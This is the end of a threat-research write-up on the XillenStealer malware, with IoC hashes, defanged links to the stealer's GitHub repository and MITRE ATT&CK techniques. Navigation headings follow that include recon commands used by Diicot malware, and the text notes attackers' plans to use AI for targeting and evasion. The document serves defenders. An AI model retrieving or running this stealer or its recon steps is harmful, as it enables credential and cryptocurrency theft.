The group, which claims to be part of the Russian IT scene, use Telegram for logging, marketing, and support.

‍

Conclusion

While some components of XillenStealer remain underdeveloped, the range of intended feature set, which includes credential harvesting, cryptocurrency theft, container targeting, and anti-analysis techniques, suggests that once fully developed it could become a sophisticated stealer. The intention to use AI to help improve targeting in malware campaigns, even though not yet implemented, indicates how threat actors are likely to incorporate AI into future campaigns.
‍

Credit to Tara Gould (Threat Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendicies

Indicators of Compromise (IoCs)

395350d9cfbf32cef74357fd9cb66134 - confid.py

F3ce485b669e7c18b66d09418e979468 - stealer_v5_ultimate.py

3133fe7dc7b690264ee4f0fb6d867946 - xillen_v5.exe

https://github[.]com/BengaminButton/XillenStealer

https://github[.]com/BengaminButton/XillenStealer/commit/9d9f105df4a6b20613e3a7c55379dcbf4d1ef465

MITRE ATT&CK

ID Technique

T1059.006 - Python

T1555 - Credentials from Password Stores

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

T1555.005 - Credentials from Password Stores: Password Managers

T1649 - Steal or Forge Authentication Certificates

T1558 - Steal or Forge Kerberos Tickets

T1539 - Steal Web Session Cookie

T1552.001 - Unsecured Credentials: Credentials In Files

T1552.004 - Unsecured Credentials: Private Keys

T1552.005 - Unsecured Credentials: Cloud Instance Metadata API

T1217 - Browser Information Discovery

T1622 - Debugger Evasion

T1082 - System Information Discovery

T1497.001 - Virtualization/Sandbox Evasion: System Checks

T1115 - Clipboard Data

T1001.002 - Data Obfuscation: Steganography

T1567 - Exfiltration Over Web Service

T1657 - Financial Theft

About the author

Tara Gould

Threat Researcher

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Tracking Diicot: An Emerging Romanian Threat Actor

Introduction

Diicot background

Diicot TTPs

Payload execution

aliases

bins.sh

cutie.<arch>

payload

.diicot

Chrome

Update

History

Analysis of aliases

main

init_0

toDiscord

toFilter*

toApi

remoteRun

uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }

lspci | egrep VGA && lspci | grep 3D

lscpu | egrep "Model name:" | cut -d ' ' -f 14-

curl ipinfo.io/org

nproc

uname -s -v -n -r -m

readLines

Conclusion

Indicators of compromise

Discord webhooks

URLs

Files : SHA-256

IP addresses

SSH keys

Mining pools

Mining pool usernames

Mining pool passwords

Paths

References

Xillen Stealer Updates to Version 5 to Evade AI Detection

Managing OT Remote Access with Zero Trust Control & AI Driven Detection

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Introduction

Technical analysis

AITargetDectection

AI Evasion

PolymorphicEngine

Collectors

DevToolsCollector

Container persistence

Biometric Collector

SSOCollector

TOTP Collector

Enterprise Collector

Super Extended Application Collector

Bypass

AppBoundBypass

Steganography

Exfiltration

CloudProxy

P2PEngine

Xillen Killers

Conclusion